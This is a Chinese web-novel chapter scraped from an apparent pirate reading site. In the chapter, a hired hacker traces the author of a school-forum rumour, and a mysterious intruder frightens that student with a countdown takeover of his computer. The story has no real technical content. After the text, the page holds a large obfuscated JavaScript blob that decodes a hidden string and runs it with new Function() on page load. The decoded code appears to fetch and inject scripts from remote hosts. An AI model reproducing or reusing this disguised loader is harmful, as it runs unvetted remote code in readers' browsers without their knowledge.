首页
[切换至繁体版]
返回

第173章 黑客出手

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第173章黑客出手(第1/2页)
    下午最后一节课的下课铃声,如同救赎的钟声,终于将叶挽秋从那种如坐针毡的状态中解放出来。政治老教授前脚刚宣布下课,后脚教室里就“嗡”地一声,压抑了整堂课的议论声瞬间如火山般喷发,比先前更加热烈、更加肆无忌惮。无数道目光,如同探照灯般,明里暗里地聚焦在叶挽秋身上,带着几乎要实质化的好奇、探究和八卦之火。
    叶挽秋面沉如水,对周围那些窥探的目光和刻意压低的议论置若罔闻。她迅速而利落地收拾好书包,动作流畅,姿态依旧带着惯有的清冷和高傲,仿佛那些在她背后汹涌的暗流,不过是不值一提的尘埃。只有她自己知道,胸腔里那颗心,从论坛帖子出现的那一刻起,就如同被浸入了冰水,一直未曾回暖,此刻更是被这些目光和议论刺得微微发疼。
    她没有理会任何试图上前搭话或探究的同学,包括欲言又止的同桌周雨薇,径直起身,目不斜视地穿过瞬间安静下来、自动为她让开一条通道的人群,走出了教室。
    走廊里,人声鼎沸。关于篮球赛,关于林见深,关于那个消失的帖子,关于叶挽秋的讨论,几乎是唯一的话题。叶挽秋的出现,如同投入沸水中的一块冰,所过之处,声浪会骤然降低几分,但那些黏着在她背影上的目光,却更加灼热和复杂。
    她挺直背脊,下颌微扬,目不斜视地向前走去。高跟鞋敲击着光洁的大理石地面,发出清脆而规律的“嗒、嗒”声,在这略显嘈杂的走廊里,竟奇异地压过了一些喧闹,带着一种不容侵犯的冰冷气场。周围的学生下意识地避让,低声议论也变成了眼神交换和无声的口型。但叶挽秋能感觉到,那些目光如同跗骨之蛆,紧紧跟随着她,一直到她走出教学楼,走到相对空旷的校园林荫道上,才稍稍减弱。
    她没有去车棚,也没有走向校门,而是拐向了相对僻静的实验楼方向。那里有一处小小的观景平台,平时少有人去,此刻更是安静。她需要一点空间,一点时间,来理清混乱的思绪,等待吴叔的回音。
    手机在手心微微震动了一下。叶挽秋停下脚步,靠在一棵枝叶繁茂的梧桐树下,迅速解锁屏幕。
    是吴叔发来的信息,言简意赅:“小姐,已联系到可靠的人着手调查。对方初步判断,论坛瘫痪非自然过载,有外部入侵痕迹,手法专业,抹除干净。正在尝试追踪发帖IP和入侵源头,需要点时间。有进展立刻向您汇报。”
    外部入侵,手法专业,抹除干净。
    这几个关键词,像冰冷的针,刺入叶挽秋的眼中,让她本就沉静的心,更往下沉了沉。
    果然不是意外,也不是学校简单的关停。是有“专业人士”出手了。是谁?发帖人“真相只有一个”?还是……那个神秘的黑客,和发帖人是一伙的?亦或是……第三方势力?
    叶挽秋的脑海中,再次不受控制地浮现出林见深那张平静无波的脸。他的身手,他的冷静,他神秘的背景,他递水时那意味深长的话语,以及……他此刻可能拥有的、不为人知的技术能力。
    会是林见深吗?如果是他,他为什么要这么做?是为了平息流言,避免麻烦?还是……另有目的?
    她用力闭了闭眼,将那张脸从脑海中驱散。现在不是胡乱猜测的时候。她需要事实,需要证据。
    她快速回复:“知道了。重点查发帖人ID‘真相只有一个’的真实身份,以及入侵者的可能来源。注意隐蔽,不要打草惊蛇。”
    信息发送出去,她将手机紧紧攥在手心,冰凉的金属外壳带来一丝清晰的触感,让她纷乱的思绪稍稍凝聚。她抬起头,看向远处被夕阳染成金红色的教学楼轮廓,眼神一点点变得锐利而坚定。
    不管是谁在背后搞鬼,不管对方是什么目的,她都必须查清楚。她不能容忍有人躲在暗处,用这种下作的方式,将她置于风口浪尖,将她的隐私和名誉当作谈资,甚至可能借此对叶家图谋不轨。
    ------
    城市的另一端,一栋不起眼的居民楼里,一间拉着厚厚窗帘、光线昏暗的房间。
    房间里堆满了各种电子设备,几台显示器闪烁着幽蓝的光芒,上面滚动着常人难以理解的代码和数据流。空气里弥漫着泡面和咖啡混合的、略带馊味的气息,以及机器运转散发的微弱热量。
    一个穿着皱巴巴T恤、头发乱得像鸟窝、戴着厚重黑框眼镜的年轻男人,正蜷坐在一张人体工学椅上,双手在几个键盘间飞速敲击,眼睛紧盯着面前最大的那块显示器,嘴里叼着一根已经熄灭了的烟屁股,神情专注,甚至带着一种病态的兴奋。
    他叫阿哲,网名“幽灵手指”,是吴叔通过特殊渠道联系到的、在灰色地带小有名气的“信息猎人”,专接一些调查、追踪、数据恢复之类的私活,技术过硬,要价不菲,但信誉尚可,最重要的是嘴严。
    此刻,他正在追踪的,正是江城一中校园论坛那个神秘消失的帖子,以及导致论坛瘫痪的“元凶”。
    “有点意思……”阿哲舔了舔有些干裂的嘴唇,镜片后的眼睛闪闪发光,像发现了新玩具的猫,“伪装成服务器过载崩溃?日志做得挺像那么回事,差点把我也唬过去了。”
    他的手指在键盘上舞蹈,一行行指令如同流水般输入。屏幕上的数据流飞速刷新,各种窗口弹出又关闭,映射着他高速运转的大脑。
    “发帖IP……学校内部网络,公共区域,无线接入点……啧,用了跳板,还挺谨慎。”阿哲一边操作一边自言自语,这是他工作时的小习惯,“不过嘛,只要是数据流,总有痕迹……让我看看你绕了几道弯……”
    他调出几个追踪工具,屏幕上的线路图开始变得复杂,节点一个个亮起,又被他快速排除。时间一分一秒过去,他额头渗出细密的汗珠,但眼神却越来越亮。
    “找到了!”阿哲猛地一拍大腿,烟屁股掉在地上也浑然不觉,“最终出口IP……城西,蓝岸小区附近?公共网络信号覆盖范围……具体地址还需要进一步缩小……嗯?这个IP段有点眼熟……”
    他皱眉思索了几秒,迅速调出另一个数据库进行交叉比对。几秒钟后,他“咦”了一声,表情变得有些古怪。
    “这个出口IP……之前好像有过几次异常数据包请求,都是指向一些……不太寻常的境外服务器?虽然掩饰得很好,但残留的协议特征……有点特别。”阿哲摸着下巴上新冒出的胡茬,眼中闪过一丝精光,“发帖的这小子,看来不只是个普通的八卦党啊。有点技术底子,还懂得隐藏自己,用的跳板和代理都不是市面上常见的货色……搞不好是同行,或者至少是爱好者。”
    他暂时将发帖IP的初步信息记录下来,标记为“目标A”,然后切换了工作界面,开始分析导致论坛瘫痪的入侵痕迹。
    这项工作显然比追踪发帖IP要困难得多。对方的手法非常老道,几乎是教科书级的“清理”操作,覆盖、擦除、锁定,植入虚假日志,每一步都干净利落,几乎没有留下任何可供直接追踪的有效痕迹。就像一阵风吹过沙漠,抹平了所有脚印。
    “高手……绝对是高手。”阿哲的表情变得凝重起来,不再是刚才发现线索时的兴奋,而是带着一种面对真正挑战时的专注和警惕,“这种级别的清理,不是一般小黑客能搞定的。对学校服务器的渗透路径也选得很刁钻,利用了系统一个几乎不为人知的旧协议漏洞……这家伙,不仅技术强,对目标系统的了解也很深。”
    他尝试了几种常规的反向追踪和残留数据分析方法,都收效甚微。对方像是提前预料到了所有可能的追踪手段,并做了相应的反制。数据被覆盖得彻底,日志被篡改得天衣无缝,连服务器底层的临时缓存都被清理得一干二净。
    阿哲的眉头越皱越紧。他从业这些年,接过不少棘手的单子,也见识过不少真正的高手,但像这次这样,清理得如此干净、几乎不留痕迹的,并不多见。这不仅仅是技术问题,更体现了一种极其严谨、甚至可以说是偏执的行事风格。
    “妈的,碰上硬茬子了。”阿哲低声骂了一句,但眼神里的光芒却更盛了。挑战越大,他越兴奋。他深吸一口气,将嘴里已经没味的烟屁股吐掉,又从旁边皱巴巴的烟盒里磕出一根新的点上,狠狠吸了一口,让尼古丁刺激有些疲惫的神经。
    “常规路子走不通……那就来点非常规的。”他眯起眼睛,手指在键盘上敲击的速度更快了。他调出了几个自己编写、从未公开过的分析工具,开始从更底层的系统日志碎片、网络交换机的临时流量镜像缓存、甚至是被忽略的硬件级日志中,挖掘可能残留的蛛丝马迹。
    (本章未完,请点击下一页继续阅读)第173章黑客出手(第2/2页)
    这是一场无声的、在数据世界最黑暗角落里进行的狩猎。阿哲如同最耐心的猎手,一点一点地梳理着海量的、杂乱无章的数据碎片,试图从中拼凑出那个神秘入侵者留下的、几乎不可见的足迹。
    时间在键盘的敲击声和显示器的微光中悄然流逝。窗外的天色,从昏黄渐渐转为深蓝,最后彻底暗了下来。房间里只有机器运转的嗡嗡声和键盘的敲击声,以及阿哲偶尔的喃喃自语和低声咒骂。
    他不知道的是,在他如同抽丝剥茧般追踪着那个神秘入侵者留下的、几乎不存在的痕迹时,在城市的另一端,江城一中附近的一间普通公寓里,他追踪的“目标A”——那个发帖人“真相只有一个”,也正经历着另一场恐慌。
    ------
    城西,蓝岸小区附近,一家二十四小时营业的昏暗网吧包厢里。
    一个身材微胖、穿着格子衬衫、头发油腻的男生,正脸色惨白、满头大汗地坐在电脑前,双手颤抖地握着鼠标,眼睛死死盯着屏幕上那个不断闪烁的红色警告窗口。
    窗口上,用加粗的、刺眼的红色字体显示着几行字:
    【警告:检测到非法入侵及数据窃取行为。你的所有操作已被记录。】
    【你的真实IP地址、设备信息、网络活动记录已备份。】
    【相关证据及你的个人信息,将在十秒后自动发送至以下地址:江城一中教务处、网络安全监察部门……】
    【倒计时:9,8,7……】
    男生——也就是“真相只有一个”,真名王浩,江城一中高二学生,一个痴迷黑客技术、喜欢在网上搬弄是非、挖掘八卦的“技术宅”——此刻吓得魂飞魄散,嘴唇哆嗦着,连呼吸都几乎停滞。
    他只不过是在学校论坛上发了个带点夸张和臆测的八卦帖子,想赚点眼球和关注,顺便满足一下自己挖掘“秘密”的虚荣心。他以前也这么干过,用学来的半吊子黑客技术隐藏IP,搬弄些是非,从未失手。可这次,他踢到铁板了。
    就在他发完帖子,美滋滋地看着回复暴涨、幻想着自己即将成为校园“第一爆料人”时,他的电脑屏幕突然一黑,紧接着就弹出了这个恐怖的警告窗口!无论他怎么操作,键盘鼠标全部失灵,电脑完全不受控制,只能眼睁睁地看着那个冰冷的倒计时数字,一秒一秒地减少。
    “不……不要!不要发!”王浩惊恐地尖叫起来,徒劳地拍打着键盘和主机,但那倒计时依旧无情地跳动着。
    6,5,4……
    他仿佛已经看到了自己被学校处分、被警察找上门、身败名裂、甚至牵连家人的可怕场景。冷汗瞬间浸透了他的后背。
    3,2,1……
    倒计时归零。
    屏幕上红色的警告窗口闪烁了一下,然后……消失了。
    电脑屏幕恢复了正常,仿佛刚才那恐怖的一切都只是幻觉。浏览器还停留在他刚才发帖的页面,但那个火爆的帖子,连同整个论坛,都已经无法访问。
    王浩瘫在脏兮兮的网吧座椅上,大口大口地喘着气,浑身发软,心脏狂跳得像是要冲出胸腔。过了好半天,他才颤颤巍巍地伸出手,尝试操作电脑。一切正常,仿佛什么都没发生过。
    但他知道,那不是幻觉。那个警告窗口,那个倒计时,那种完全失去控制的恐惧,都是真的。
    他手忙脚乱地检查自己的电脑,检查网络记录,检查所有可能留下记录的地方。一切正常,那个警告窗口没有留下任何痕迹,所谓的“证据发送”也似乎没有发生——至少,他的邮箱和社交账号没有收到任何相关提示。
    但王浩丝毫不敢放松。他比谁都清楚,对方能神不知鬼不觉地控制他的电脑,弹出那种警告,就意味着对方的技术水平远在他之上。对方说记录了,那就一定记录了。对方说能发送,那就一定能发送。之所以最后似乎什么都没发生,或许只是因为……对方暂时还不想,或者觉得没必要?
    这种小命被别人捏在手里的感觉,比直接被揭发更让他恐惧。他不知道对方是谁,不知道对方想干什么,不知道那把达摩克利斯之剑什么时候会落下来。
    他哆哆嗦嗦地关掉电脑,像被鬼追一样,连
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();